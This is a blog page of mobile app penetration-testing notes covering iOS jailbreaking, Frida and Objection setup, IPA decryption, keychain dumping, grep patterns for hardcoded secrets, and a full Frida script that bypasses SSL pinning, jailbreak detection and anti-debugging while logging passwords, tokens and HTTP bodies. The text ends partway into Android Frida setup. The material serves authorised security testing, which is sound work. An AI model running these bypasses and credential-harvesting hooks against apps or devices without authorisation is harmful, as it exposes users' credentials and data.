Skip to main content

Mobile VAPT Notes

9377 words
Edwin | Shiro
Author
Edwin | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Mobile Application Penetration Testing (VAPT) Notes - Enhanced Edition
#


iOS Penetration Testing
#

Environment Setup
#

Jailbreaking iOS Device
#

Online Check: Use https://canijailbreak.com/ to determine if a specific iOS version is jailbreakable.

Common Jailbreak Tools (selection depends on iOS version and device model):

  • unc0ver: iOS 11 - 14.8, untethered/semi-untethered
  • Palera1n / checkra1n: A11 and older devices, newer iOS versions via checkm8 exploit (semi-tethered/tethered)
  • TrollStore: Not a full jailbreak, allows permanent IPA sideloading on specific iOS versions via CoreTrust bug
  • Odyssey/Chimera: iOS 12/13, using libhooker
  • rootlessJB: iOS 12.0-12.1.2 for A12+ devices

Steps to Jailbreak:

  1. Download appropriate jailbreak tool for your iOS version
  2. Follow tool-specific instructions (usually involves sideloading via Xcode/AltStore)
  3. Run jailbreak application on device
  4. Install package manager (Cydia/Sileo/Zebra)

Installing Essential Tools on Jailbroken iOS Device
#

Prerequisites: Ensure Cydia/Sileo/Zebra (package manager) is installed after jailbreaking.

Adding Repositories:

# Essential Repositories to add in Cydia/Sileo/Zebra:
https://cydia.akemi.ai/          # Akemi's Repo
https://build.frida.re           # Frida Repo
https://repo.chariz.com/         # Chariz Repo
http://apt.thebigboss.org/repofiles/cydia/  # BigBoss Repo
https://repo.packix.com/         # Packix (legacy)
SSH Access Setup
#

Install OpenSSH:

  1. Open Cydia/Sileo/Zebra
  2. Search for “OpenSSH”
  3. Install the package

Configure SSH:

# CRITICAL: Change default passwords immediately after SSH installation
# Default root password is 'alpine' - this is a major security risk!

# SSH into device and change passwords:
ssh root@<iOS_DEVICE_IP_ADDRESS>

# Change root password:
passwd root
# Enter new secure password when prompted

# Change mobile user password:
passwd mobile
# Enter new secure password when prompted

# Find Device IP: 
# Settings > Wi-Fi > tap (i) icon next to connected network

# SSH via USB (using iproxy - more stable than WiFi):
# Install usbmuxd tools first:
# macOS: brew install libimobiledevice
# Linux: sudo apt install usbmuxd libimobiledevice-tools

# Forward SSH port via USB:
iproxy 2222 22

# SSH via USB tunnel:
ssh root@localhost -p 2222

# Forward additional ports for tools:
iproxy 8080 8080    # For Burp Suite proxy
iproxy 27042 27042  # For Frida server
Frida Installation & Setup
#

Method 1: Via Package Manager (Recommended)

  1. Add Frida repository: https://build.frida.re
  2. Search for “Frida” and install
  3. Frida server should start automatically

Method 2: Manual Installation

# Download appropriate Frida version from GitHub releases
# For iOS ARM64 devices:
wget https://github.com/frida/frida/releases/download/16.1.8/frida-server-16.1.8-ios-arm64.xz

# Extract and transfer to device:
unxz frida-server-16.1.8-ios-arm64.xz
scp frida-server-16.1.8-ios-arm64 root@<iOS_DEVICE_IP>:/usr/sbin/frida-server

# SSH into device and set permissions:
ssh root@<iOS_DEVICE_IP>
chmod 755 /usr/sbin/frida-server

# Start Frida server:
/usr/sbin/frida-server -l 0.0.0.0 &

# Verify Frida is running:
ps aux | grep frida

Install Frida Tools on Computer:

# Install Frida command line tools:
pip3 install frida-tools

# Verify connection from computer:
frida-ps -U    # List processes on USB-connected device
frida-ps -H <iOS_DEVICE_IP>  # List processes on network-connected device

# Test with simple script:
frida-ps -Uai  # List installed applications with bundle IDs
Additional Essential Tools
#

Install via Package Manager:

# Essential tools to install from Cydia/Sileo/Zebra:
# - Filza File Manager (filesystem browser)
# - NewTerm (terminal emulator)
# - AppList (for app management)
# - PreferenceLoader (for tweak settings)
# - Substitute or Substrate (injection framework)

MobSF (Mobile Security Framework) Setup:

# Run MobSF in Docker (recommended):
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

# Access MobSF web interface:
# Browse to: http://localhost:8000
# Default credentials: mobsf:mobsf

# Alternative: Install directly
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
./setup.sh  # For Linux/macOS
python manage.py runserver 0.0.0.0:8000

Objection Installation:

# Install objection:
pip3 install objection

# Verify installation:
objection version

# Basic usage:
objection -g <bundle_id> explore

Additional Useful Tools:

# iOS App Installer/Manager tools:
brew install libimobiledevice  # macOS
sudo apt install libimobiledevice-tools  # Linux

# ideviceinstaller for IPA installation:
ideviceinstaller -l  # List installed apps
ideviceinstaller -i app.ipa  # Install IPA file

# 3uTools (Windows GUI alternative for device management)
# Download from: https://www.3u.com/

Traffic Interception (Burp Suite) Setup
#

Step 1: Configure Burp Suite Proxy

# In Burp Suite:
# 1. Go to Proxy > Options
# 2. Under Proxy Listeners, click 'Add'
# 3. Set Bind to port: 8080
# 4. Set Bind to address: All interfaces
# 5. Click OK

Step 2: Configure iOS Device Proxy

# On iOS device:
# 1. Settings > Wi-Fi
# 2. Tap (i) icon next to connected network
# 3. Scroll to HTTP Proxy > Manual
# 4. Server: <COMPUTER_IP_ADDRESS>
# 5. Port: 8080
# 6. Authentication: OFF

# Alternative: Set proxy via command line (jailbroken device):
# SSH into device and modify network settings:
sudo defaults write /Library/Preferences/SystemConfiguration/preferences.plist \
HTTPProxy -dict-add HTTPEnable -int 1
sudo defaults write /Library/Preferences/SystemConfiguration/preferences.plist \
HTTPProxy -dict-add HTTPProxy -string "<COMPUTER_IP>"
sudo defaults write /Library/Preferences/SystemConfiguration/preferences.plist \
HTTPProxy -dict-add HTTPPort -int 8080

Step 3: Install Burp CA Certificate

# Method 1: Via Safari (Standard)
# 1. Open Safari on iOS device
# 2. Browse to: http://burp
# 3. Click 'CA Certificate' to download cacert.der
# 4. Allow profile download when prompted
# 5. Settings > General > Profile > Install PortSwigger CA
# 6. Settings > General > About > Certificate Trust Settings
# 7. Enable full trust for PortSwigger CA

# Method 2: Manual installation for problematic apps
# Export certificate from Burp as DER format
openssl x509 -inform DER -in cacert.der -out cacert.pem
# Convert to mobile config format using online tools or:
# Apple Configurator 2 (macOS) to create configuration profile

Step 4: Verify Traffic Interception

# Test HTTPS traffic interception:
# 1. Open Safari and visit https://www.google.com
# 2. Check Burp Suite HTTP history for captured requests
# 3. If not working, check certificate trust settings again

# Troubleshooting:
# - Ensure certificate is properly trusted
# - Check proxy settings are correct
# - Verify Burp is listening on correct interface
# - For stubborn apps, may need SSL pinning bypass

Application Extraction and Analysis
#

Obtaining IPA Files from Jailbroken Device
#

Method 1: Using frida-ios-dump (Recommended)

# Clone and setup frida-ios-dump:
git clone https://github.com/AloneMonkey/frida-ios-dump.git
cd frida-ios-dump
pip3 install -r requirements.txt --upgrade

# Ensure Frida server is running on iOS device:
ssh root@<iOS_DEVICE_IP>
/usr/sbin/frida-server -l 0.0.0.0 &

# List available applications:
frida-ps -Uai  # Shows bundle IDs and app names

# Dump IPA file:
# Via USB connection:
./dump.py <APP_NAME_OR_BUNDLE_ID> -u root -P <ROOT_PASSWORD>

# Via network:
./dump.py <APP_NAME_OR_BUNDLE_ID> -H <iOS_DEVICE_IP>

# Examples:
./dump.py Instagram
./dump.py com.burbn.instagram
./dump.py "App Store"  # Use quotes for apps with spaces

# The dumped IPA will be saved in the current directory

Method 2: Using flexdecrypt (Alternative for encrypted apps)

# Install flexdecrypt via Cydia/Sileo
# SSH into device:
ssh root@<iOS_DEVICE_IP>

# Find app executable:
find /var/containers/Bundle/Application -name "*.app" | grep -i <app_name>

# Decrypt executable:
flexdecrypt /var/containers/Bundle/Application/<UUID>/<AppName>.app/<ExecutableName>

# Create IPA manually:
cd /var/containers/Bundle/Application/<UUID>/
zip -r <AppName>.ipa Payload/
scp <AppName>.ipa <your_computer>:~/

Method 3: Manual Extraction via SSH

# SSH into device:
ssh root@<iOS_DEVICE_IP>

# Find application bundle:
find /var/containers/Bundle/Application -name "*.app" -type d | head -20

# For specific app:
find /var/containers/Bundle/Application -name "*WhatsApp*" -type d

# Create IPA structure:
mkdir -p /tmp/Payload
APP_PATH=$(find /var/containers/Bundle/Application -name "*AppName*.app" | head -1)
cp -r "$APP_PATH" /tmp/Payload/

# Create IPA:
cd /tmp
zip -r AppName.ipa Payload/

# Transfer to computer:
scp /tmp/AppName.ipa <user>@<computer_ip>:~/Desktop/

Installing IPA Files on Jailbroken Device
#

Method 1: Using ideviceinstaller

# Install libimobiledevice tools:
# macOS: brew install libimobiledevice
# Linux: sudo apt install libimobiledevice-tools

# List connected devices:
idevice_id -l

# Install IPA:
ideviceinstaller -i <path_to_app.ipa>

# Uninstall app:
ideviceinstaller -U <bundle_id>

# List installed apps:
ideviceinstaller -l

Method 2: Using Cydia Impactor (Legacy)

# Download Cydia Impactor from: http://www.cydiaimpactor.com/
# Drag and drop IPA file onto Cydia Impactor
# Enter Apple ID credentials when prompted
# App will be installed with 7-day certificate

Method 3: Using TrollStore (iOS 14.0-15.4.1)

# Install TrollStore using appropriate method for your iOS version
# Open TrollStore app
# Tap + button and select IPA file
# Apps installed via TrollStore are permanently signed

Static Analysis
#

Automated Analysis with MobSF
#

Steps:

  1. Ensure MobSF is running: http://localhost:8000
  2. Drag and drop IPA file into MobSF interface
  3. Wait for analysis to complete (may take several minutes)
  4. Review generated report

Key Areas to Review in MobSF Report:

Binary Analysis:

# MobSF automatically checks for:
# - PIE (Position Independent Executable): Should be enabled
# - ARC (Automatic Reference Counting): Should be enabled  
# - Stack Canaries: Should be enabled (__stack_chk_guard present)
# - Binary Encryption: cryptid should be 1 for App Store apps
# - Banned APIs: Usage of insecure functions
# - Weak Cryptography: MD5, SHA1, DES, RC4 usage

Security Features:

  • App Transport Security (ATS): Check for NSAllowsArbitraryLoads = YES (major security flaw)
  • URL Schemes: Custom schemes that may be vulnerable to deep link attacks
  • Permissions: Excessive or unnecessary permissions in Info.plist
  • Hardcoded Secrets: API keys, credentials, URLs, encryption keys

Files of Interest:

# MobSF identifies sensitive files:
# - Database files (.sqlite, .db)
# - Configuration files (.plist)
# - Certificate/key files (.pem, .crt, .key)
# - Cache and preference files
# - Custom data formats

Manual Static Analysis
#

Extract IPA for Manual Analysis:

# Rename IPA to ZIP and extract:
cp app.ipa app.zip
unzip app.zip
cd Payload/AppName.app/

# Key files to examine:
ls -la
# Look for:
# - Info.plist (app configuration)
# - Main executable (same name as .app folder)
# - *.plist files (preferences, configurations)
# - *.sqlite/*.db files (databases)
# - Assets.car (compiled asset catalog)
# - Frameworks/ (embedded frameworks)

Binary Protection Analysis:

# Find main executable:
MAIN_EXEC=$(ls -1 | grep -v '\.' | head -1)
echo "Main executable: $MAIN_EXEC"

# Check ASLR/PIE (Position Independent Executable):
otool -hv "$MAIN_EXEC" | grep PIE
# Expected: PIE flag should be present

# Check Stack Canaries (Stack Smashing Protection):
otool -I -v "$MAIN_EXEC" | grep stack
# Expected: __stack_chk_guard and __stack_chk_fail should be present

# Check ARC (Automatic Reference Counting):
otool -I -v "$MAIN_EXEC" | grep objc_release
# Expected: _objc_release symbol should be present

# Check Binary Encryption (FairPlay DRM):
otool -arch all -Vl "$MAIN_EXEC" | grep -A5 LC_ENCRYPT
# Expected: cryptid = 1 for App Store apps, 0 for jailbroken dumps

# Check for weak crypto functions:
otool -I -v "$MAIN_EXEC" | grep -E "_CC_MD5|_CC_SHA1|_DES_|_RC4_"

# Check for insecure memory functions:
otool -I -v "$MAIN_EXEC" | grep -E "_gets|_strcpy|_strcat|_sprintf|_vsprintf"

# Check for debugging symbols:
otool -I -v "$MAIN_EXEC" | grep -E "_NSLog|_printf"

Info.plist Analysis:

# Convert binary plist to XML if needed:
plutil -convert xml1 Info.plist -o Info.xml

# Or use plistutil:
plistutil -i Info.plist -o Info.xml

# Key security-relevant entries to examine:
grep -A 2 -B 2 -E "(CFBundleURLSchemes|NSAllowsArbitraryLoads|UIFileSharingEnabled|NSAppTransportSecurity)" Info.xml

# Extract and analyze specific values:
plutil -extract CFBundleURLTypes json Info.plist  # URL schemes
plutil -extract NSAppTransportSecurity json Info.plist  # ATS config
plutil -extract UIFileSharingEnabled json Info.plist  # File sharing

Critical Info.plist Keys:

<!-- Dangerous configurations: -->
<key>NSAppTransportSecurity</key>
<dict>
    <key>NSAllowsArbitraryLoads</key>
    <true/>  <!-- CRITICAL: Allows HTTP connections -->
</dict>

<key>CFBundleURLTypes</key>
<array>
    <dict>
        <key>CFBundleURLSchemes</key>
        <array>
            <string>myapp</string>  <!-- Custom URL scheme -->
        </array>
    </dict>
</array>

<key>UIFileSharingEnabled</key>
<true/>  <!-- Allows iTunes file access -->

<key>LSSupportsOpeningDocumentsInPlace</key>
<true/>  <!-- Document access -->

Filesystem Analysis:

# Search for sensitive files and content:
find . -name "*.plist" -exec echo "=== {} ===" \; -exec cat {} \;
find . -name "*.sqlite*" -o -name "*.db"
find . -name "*.pem" -o -name "*.crt" -o -name "*.key" -o -name "*.p12"

# Search for hardcoded secrets:
grep -r -i -E "(password|secret|key|token|api_key|firebase|credential|auth)" .
grep -r -E "[0-9a-f]{32,}" .  # Look for potential hashes/keys
grep -r -E "(https?://|ftp://)" .  # URLs
grep -r -E "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" .  # Emails

# Search for crypto-related terms:
grep -r -i -E "(encrypt|decrypt|cipher|crypto|hash|salt|iv)" .

# Search for database queries:
grep -r -i -E "(select|insert|update|delete|drop|create)" .

React Native Bundle Analysis (if applicable):

# Check if app uses React Native:
find . -name "main.jsbundle" -o -name "*.bundle"

# Decompile React Native bundle:
npm install -g react-native-decompiler

# Decompile bundle:
npx react-native-decompiler -i main.jsbundle -o ./decompiled_js

# Analyze decompiled JavaScript:
cd decompiled_js
grep -r -E "(fetch|XMLHttpRequest|AsyncStorage|localStorage)" .
grep -r -i -E "(password|secret|key|token|api)" .
grep -r -E "(https?://)" .  # API endpoints

Dynamic Analysis
#

Frida Basic Usage
#

Connection Setup:

# List devices:
frida-ls-devices

# List processes on device:
frida-ps -U  # Via USB
frida-ps -H <DEVICE_IP>  # Via network

# List installed applications:
frida-ps -Uai

# Attach to running app:
frida -U <bundle_id>
frida -U <process_name>

# Spawn app and attach:
frida -U -f <bundle_id> --no-pause

# Load script and attach:
frida -U -l script.js <bundle_id>

# Interactive REPL:
frida -U <bundle_id>

Basic Frida Commands:

// In Frida REPL:

// List loaded modules:
Process.enumerateModules()

// Find module by name:
Process.getModuleByName("AppName")

// List classes (Objective-C):
ObjC.classes

// Search for classes:
Object.keys(ObjC.classes).filter(c => c.includes("Login"))

// Get class methods:
ObjC.classes.LoginManager.$methods

// Hook a method:
var LoginManager = ObjC.classes.LoginManager;
LoginManager["- authenticateUser:password:"].implementation = function(user, pass) {
    console.log("Login attempt: " + user + " / " + pass);
    return this.authenticateUser_password_(user, pass);
}

// Call original method and get result:
var result = this.authenticateUser_password_(user, pass);
console.log("Login result: " + result);
return result;

Objection Usage
#

Basic Connection:

# Connect to app:
objection -g <bundle_id> explore

# Examples:
objection -g com.apple.mobilesafari explore
objection -g Instagram explore

# Spawn app and connect:
objection -g <bundle_id> explore --startup-command "ios sslpinning disable"

Common Objection Commands:

Bypass Security Controls:

# Disable SSL pinning:
ios sslpinning disable
ios sslpinning disable --quiet

# Disable jailbreak detection:
ios jailbreak disable

# Simulate jailbreak detection bypass:
ios jailbreak simulate

Environment Information:

# Get app information:
env

# List loaded frameworks:
ios bundles list_frameworks

# Get application directory paths:
env | grep -E "(Documents|Library|tmp)"

Data Extraction:

# NSUserDefaults (user preferences):
ios nsuserdefaults get

# Keychain dump:
ios keychain dump
ios keychain dump --json  # JSON format

# Cookies:
ios cookies get

# NSURLCredentialStorage:
ios nsurlcredentialstorage dump

# Clipboard:
ios clipboard get

Filesystem Operations:

# List files:
ios filesystem ls <path>
ios filesystem ls /var/mobile/Containers/Data/Application/<UUID>/Documents/

# Read file:
ios filesystem cat <path>

# Download file:
ios filesystem download <remote_path> <local_path>

# Upload file:
ios filesystem upload <local_path> <remote_path>

Class and Method Hooking:

# Search for classes:
ios hooking search classes "keyword"
ios hooking search classes "login"
ios hooking search classes "crypto"
ios hooking search classes "auth"

# List class methods:
ios hooking list class_methods <ClassName>
ios hooking list class_methods NSURLSession

# Watch method calls:
ios hooking watch class_method "+[NSURLSession sessionWithConfiguration:]" --dump-args --dump-return
ios hooking watch class_method "-[LoginManager authenticateUser:password:]" --dump-args

# Set return value:
ios hooking set return_value "-[JailbreakDetector isJailbroken]" false
ios hooking set return_value "-[AuthManager isAuthenticated]" true

# Monitor all methods in a class:
ios hooking watch class NSURLSession

SQLite Database Interaction:

# Connect to database:
ios sqlite connect <path_to_db>
ios sqlite connect /var/mobile/Containers/Data/Application/<UUID>/Documents/database.sqlite

# Once connected, run SQL queries:
sqlite> .tables
sqlite> .schema users
sqlite> SELECT * FROM users;
sqlite> SELECT username, password_hash FROM users WHERE admin=1;

Advanced Frida Scripting
#

Comprehensive iOS Security Bypass Script:

// ios_security_bypass.js
function main() {
    console.log("[+] iOS Security Bypass Script Loading...");
    
    // === Jailbreak Detection Bypass ===
    bypassJailbreakDetection();
    
    // === SSL Pinning Bypass ===
    bypassSSLPinning();
    
    // === Anti-Debugging Bypass ===
    bypassAntiDebugging();
    
    // === Data Extraction Hooks ===
    hookSensitiveDataMethods();
    
    console.log("[+] All hooks installed successfully!");
}

function bypassJailbreakDetection() {
    console.log("[*] Installing jailbreak detection bypasses...");
    
    // Hook file existence checks
    var NSFileManager = ObjC.classes.NSFileManager;
    var defaultManager = NSFileManager.defaultManager();
    
    // Common jailbreak detection files
    var jailbreakFiles = [
        "/Applications/Cydia.app",
        "/Applications/Sileo.app", 
        "/bin/bash",
        "/usr/sbin/sshd",
        "/etc/apt",
        "/private/var/lib/apt/",
        "/var/cache/apt",
        "/var/lib/cydia",
        "/var/mobile/Library/Preferences/com.saurik.Cydia.plist",
        "/Library/MobileSubstrate/MobileSubstrate.dylib",
        "/usr/bin/ssh",
        "/var/lib/undecimus/auto_install"
    ];
    
    // Hook fileExistsAtPath:
    var originalFileExists = defaultManager.fileExistsAtPath_;
    Interceptor.attach(originalFileExists.implementation, {
        onEnter: function(args) {
            this.filePath = ObjC.Object(args[2]).toString();
        },
        onLeave: function(retval) {
            if (jailbreakFiles.includes(this.filePath)) {
                console.log("[*] Blocked jailbreak detection for: " + this.filePath);
                retval.replace(ptr("0x0"));
            }
        }
    });
    
    // Hook canOpenURL for Cydia/Sileo schemes
    var UIApplication = ObjC.classes.UIApplication;
    var sharedApp = UIApplication.sharedApplication();
    var originalCanOpenURL = sharedApp.canOpenURL_;
    
    Interceptor.attach(originalCanOpenURL.implementation, {
        onEnter: function(args) {
            this.url = ObjC.Object(args[2]).toString();
        },
        onLeave: function(retval) {
            if (this.url.includes("cydia://") || this.url.includes("sileo://")) {
                console.log("[*] Blocked URL scheme detection: " + this.url);
                retval.replace(ptr("0x0"));
            }
        }
    });
    
    // Hook fork() and ptrace() system calls
    var fork = Module.findExportByName("libsystem_c.dylib", "fork");
    if (fork) {
        Interceptor.replace(fork, new NativeCallback(function() {
            console.log("[*] Blocked fork() call");
            return -1;
        }, 'int', []));
    }
}

function bypassSSLPinning() {
    console.log("[*] Installing SSL pinning bypasses...");
    
    // Method 1: Hook SecTrustEvaluate
    var SecTrustEvaluate = Module.findExportByName("Security", "SecTrustEvaluate");
    if (SecTrustEvaluate) {
        Interceptor.replace(SecTrustEvaluate, new NativeCallback(function(trust, result) {
            console.log("[*] SSL Pinning Bypass: SecTrustEvaluate");
            Memory.writeU32(result, 1); // kSecTrustResultProceed
            return 0; // errSecSuccess
        }, 'int', ['pointer', 'pointer']));
    }
    
    // Method 2: Hook NSURLSession delegate methods
    try {
        var NSURLSessionTaskDelegate = ObjC.protocols.NSURLSessionTaskDelegate;
        var method = NSURLSessionTaskDelegate["- URLSession:task:didReceiveChallenge:completionHandler:"];
        
        if (method) {
            Interceptor.attach(method.implementation, {
                onEnter: function(args) {
                    console.log("[*] SSL Pinning Bypass: NSURLSessionTaskDelegate");
                    var challenge = ObjC.Object(args[4]);
                    var completionHandler = new ObjC.Block(args[5]);
                    var credential = ObjC.classes.NSURLCredential.credentialForTrust_(challenge.protectionSpace().serverTrust());
                    completionHandler.implementation(1, credential); // NSURLSessionAuthChallengeUseCredential
                }
            });
        }
    } catch (e) {
        console.log("[!] NSURLSessionTaskDelegate hook failed: " + e.message);
    }
    
    // Method 3: Hook common pinning libraries
    hookAFNetworking();
    hookAlamofire();
}

function hookAFNetworking() {
    try {
        var AFNetworkReachabilityManager = ObjC.classes.AFNetworkReachabilityManager;
        if (AFNetworkReachabilityManager) {
            var setSSLPinningMode = AFNetworkReachabilityManager["- setSSLPinningMode:"];
            if (setSSLPinningMode) {
                Interceptor.attach(setSSLPinningMode.implementation, {
                    onEnter: function(args) {
                        console.log("[*] AFNetworking SSL Pinning disabled");
                        args[2] = ptr("0x0"); // AFSSLPinningModeNone
                    }
                });
            }
        }
    } catch (e) {
        console.log("[!] AFNetworking hook failed: " + e.message);
    }
}

function hookAlamofire() {
    // Hook Alamofire's ServerTrustManager if present
    try {
        var ServerTrustManager = ObjC.classes.ServerTrustManager;
        if (ServerTrustManager) {
            console.log("[*] Found Alamofire ServerTrustManager - implementing bypass");
            // Implementation depends on Alamofire version
        }
    } catch (e) {
        console.log("[!] Alamofire hook failed: " + e.message);
    }
}

function bypassAntiDebugging() {
    console.log("[*] Installing anti-debugging bypasses...");
    
    // Hook ptrace
    var ptrace = Module.findExportByName("libsystem_kernel.dylib", "ptrace");
    if (ptrace) {
        Interceptor.replace(ptrace, new NativeCallback(function(request, pid, addr, data) {
            console.log("[*] ptrace called with request: " + request);
            if (request == 31) { // PT_DENY_ATTACH
                console.log("[*] Blocked PT_DENY_ATTACH");
                return 0;
            }
            return 0; // Block all ptrace calls
        }, 'int', ['int', 'int', 'pointer', 'pointer']));
    }
    
    // Hook sysctl for debugger detection
    var sysctl = Module.findExportByName("libsystem_c.dylib", "sysctl");
    if (sysctl) {
        Interceptor.attach(sysctl, {
            onEnter: function(args) {
                var name = Memory.readS32(args[0]);
                if (name == 1 && Memory.readS32(args[0].add(4)) == 14) { // CTL_KERN, KERN_PROC
                    console.log("[*] Blocked sysctl debugger detection");
                    this.modify = true;
                }
            },
            onLeave: function(retval) {
                if (this.modify) {
                    retval.replace(ptr("-1"));
                }
            }
        });
    }
}

function hookSensitiveDataMethods() {
    console.log("[*] Installing sensitive data hooks...");
    
    // Hook NSString stringWithFormat for logging
    var NSString = ObjC.classes.NSString;
    var originalStringWithFormat = NSString.stringWithFormat_;
    
    Interceptor.attach(originalStringWithFormat.implementation, {
        onEnter: function(args) {
            try {
                var format = ObjC.Object(args[2]).toString();
                if (format.toLowerCase().includes("password") || 
                    format.toLowerCase().includes("token") ||
                    format.toLowerCase().includes("secret")) {
                    console.log("[*] Sensitive data in NSString format: " + format);
                }
            } catch (e) {}
        }
    });
    
    // Hook NSUserDefaults for sensitive storage
    var NSUserDefaults = ObjC.classes.NSUserDefaults;
    var setObjectForKey = NSUserDefaults.prototype["- setObject:forKey:"];
    
    Interceptor.attach(setObjectForKey.implementation, {
        onEnter: function(args) {
            try {
                var key = ObjC.Object(args[3]).toString();
                var value = ObjC.Object(args[2]).toString();
                
                if (key.toLowerCase().includes("password") ||
                    key.toLowerCase().includes("token") ||
                    key.toLowerCase().includes("secret") ||
                    key.toLowerCase().includes("key")) {
                    console.log("[*] NSUserDefaults - Key: " + key + ", Value: " + value);
                }
            } catch (e) {}
        }
    });
    
    // Hook Keychain operations
    hookKeychainOperations();
    
    // Hook network requests
    hookNetworkRequests();
}

function hookKeychainOperations() {
    console.log("[*] Hooking Keychain operations...");
    
    // Hook SecItemAdd
    var SecItemAdd = Module.findExportByName("Security", "SecItemAdd");
    if (SecItemAdd) {
        Interceptor.attach(SecItemAdd, {
            onEnter: function(args) {
                console.log("[*] Keychain: SecItemAdd called");
                // args[0] is CFDictionaryRef attributes
                // Could parse and log keychain attributes here
            }
        });
    }
    
    // Hook SecItemCopyMatching
    var SecItemCopyMatching = Module.findExportByName("Security", "SecItemCopyMatching");
    if (SecItemCopyMatching) {
        Interceptor.attach(SecItemCopyMatching, {
            onEnter: function(args) {
                console.log("[*] Keychain: SecItemCopyMatching called");
            }
        });
    }
}

function hookNetworkRequests() {
    console.log("[*] Hooking network requests...");
    
    // Hook NSURLRequest
    var NSMutableURLRequest = ObjC.classes.NSMutableURLRequest;
    var setHTTPBody = NSMutableURLRequest.prototype["- setHTTPBody:"];
    
    Interceptor.attach(setHTTPBody.implementation, {
        onEnter: function(args) {
            try {
                var httpBody = ObjC.Object(args[2]);
                var bodyString = ObjC.classes.NSString.alloc().initWithData_encoding_(httpBody, 4);
                console.log("[*] HTTP Body: " + bodyString.toString());
            } catch (e) {}
        }
    });
    
    // Hook NSURLResponse
    var NSHTTPURLResponse = ObjC.classes.NSHTTPURLResponse;
    if (NSHTTPURLResponse) {
        var allHeaderFields = NSHTTPURLResponse.prototype["- allHeaderFields"];
        Interceptor.attach(allHeaderFields.implementation, {
            onLeave: function(retval) {
                try {
                    var headers = ObjC.Object(retval);
                    console.log("[*] Response Headers: " + headers.toString());
                } catch (e) {}
            }
        });
    }
}

// Initialize the script
if (ObjC.available) {
    main();
} else {
    console.log("[!] Objective-C Runtime not available");
}

Usage:

# Save script as ios_security_bypass.js
# Run with target app:
frida -U -f <bundle_id> -l ios_security_bypass.js --no-pause

# Or attach to running app:
frida -U <bundle_id> -l ios_security_bypass.js

Android Penetration Testing
#

Environment Setup
#

ADB (Android Debug Bridge) Setup
#

Enable Developer Options & USB Debugging:

# On Android device:
# 1. Settings > About Phone
# 2. Tap "Build Number" 7 times to enable Developer Options
# 3. Settings > Developer Options > USB Debugging (Enable)
# 4. Connect device via USB and accept RSA fingerprint

# Verify connection:
adb devices
# Expected output: <device_id>    device

# If unauthorized, check device for RSA key acceptance dialog

ADB over WiFi Setup (Android 11+):

# Method 1: Wireless Debugging (Android 11+)
# 1. Enable "Wireless Debugging" in Developer Options
# 2. Tap "Pair device with pairing code"
# 3. Note the IP address and port

# On computer:
adb pair <DEVICE_IP>:<PAIRING_PORT>
# Enter pairing code when prompted

# Connect for debugging:
adb connect <DEVICE_IP>:<DEBUGGING_PORT>

# Method 2: Traditional WiFi ADB (requires USB first)
adb tcpip 5555
adb connect <DEVICE_IP>:5555
adb disconnect  # Disconnect USB cable

Emulator Setup:

# Using Android Studio AVD:
# 1. Create AVD with desired Android version
# 2. Start emulator with writable system:
emulator -avd <AVD_NAME> -writable-system -no-snapshot-load

# Alternative: Using command line
emulator -list-avds
emulator -avd Pixel_6_API_30 -writable-system

# Enable root access on emulator:
adb root
adb remount

# If AVB (Android Verified Boot) enabled:
adb shell avbctl disable-verification
adb reboot
adb root
adb remount

Essential ADB Commands:

# Device management:
adb devices -l                    # List devices with details
adb shell getprop ro.build.version.release  # Android version
adb shell getprop ro.product.model          # Device model

# Package management:
adb install app.apk               # Install APK
adb install -r app.apk            # Reinstall/update APK
adb uninstall <package_name>      # Uninstall app
adb shell pm list packages        # List all packages
adb shell pm list packages -3     # List user-installed packages
adb shell pm list packages -s     # List system packages
adb shell pm path <package_name>  # Get APK path

# File operations:
adb push <local_file> <remote_path>     # Upload file
adb pull <remote_path> <local_file>     # Download file
adb shell ls /data/data/            # List app data directories

# Process and activity management:
adb shell am force-stop <package_name>  # Stop app
adb shell am start -n <package>/<activity>  # Start activity
adb shell am start -a android.intent.action.VIEW -d "http://example.com"

# Log monitoring:
adb logcat                        # View system logs
adb logcat | grep <package_name>  # Filter logs by package
adb logcat -c                     # Clear log buffer

# Network and proxy:
adb shell settings put global http_proxy <IP>:<PORT>
adb shell settings delete global http_proxy

# Screen and input:
adb shell screencap /sdcard/screen.png     # Take screenshot
adb shell input text "Hello World"         # Input text
adb shell input keyevent 82               # Menu key
adb shell input tap 500 1000              # Tap coordinates

Setting Up Burp Proxy & Certificate on Android
#

Configure Burp Suite:

# In Burp Suite:
# 1. Proxy > Options > Proxy Listeners
# 2. Add listener: Port 8080, Bind to all interfaces
# 3. Ensure "Support invisible proxying" is checked for some apps

Configure Android Device Proxy:

# Manual proxy configuration:
# 1. Settings > Network & Internet > Wi-Fi
# 2. Long press connected network > Modify network
# 3. Advanced options > Proxy > Manual
# 4. Hostname: <COMPUTER_IP>, Port: 8080

# Command line proxy (requires root):
adb shell settings put global http_proxy <COMPUTER_IP>:8080
adb shell settings put global https_proxy <COMPUTER_IP>:8080

# Verify proxy settings:
adb shell settings get global http_proxy

Install Burp CA Certificate:

Method 1: User Certificate (Limited to user apps on Android 7+)

# 1. Export Burp CA certificate (DER format)
# 2. Transfer to device:
adb push cacert.der /sdcard/Download/

# 3. Install via Settings:
# Settings > Security > Install from storage > Download/cacert.der
# Choose "WiFi certificates" when prompted

Method 2: System Certificate (Requires Root)

# Export Burp CA in DER format, convert to PEM:
openssl x509 -inform DER -in cacert.der -out cacert.pem

# Get certificate hash:
CERT_HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1)
echo "Certificate hash: $CERT_HASH"

# Rename certificate:
cp cacert.pem "${CERT_HASH}.0"

# Install on rooted device/emulator:
adb root
adb remount
adb push "${CERT_HASH}.0" /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/${CERT_HASH}.0
adb reboot

# Verify installation:
adb shell ls -la /system/etc/security/cacerts/ | grep $CERT_HASH

Method 3: Magisk Module (For Magisk-rooted devices)

# Use Magisk modules like:
# - "MagiskTrustUserCerts" - Makes user certificates system-trusted
# - "Burp Certificate" - Automatically installs Burp certificate

# Install via Magisk Manager:
# 1. Open Magisk Manager
# 2. Modules > Download > Search for certificate module
# 3. Install and reboot

Frida Installation on Android
#

Install Frida Server on Android:

# Download appropriate Frida server for your architecture:
# Check device architecture:
adb shell getprop ro.product.cpu.abi

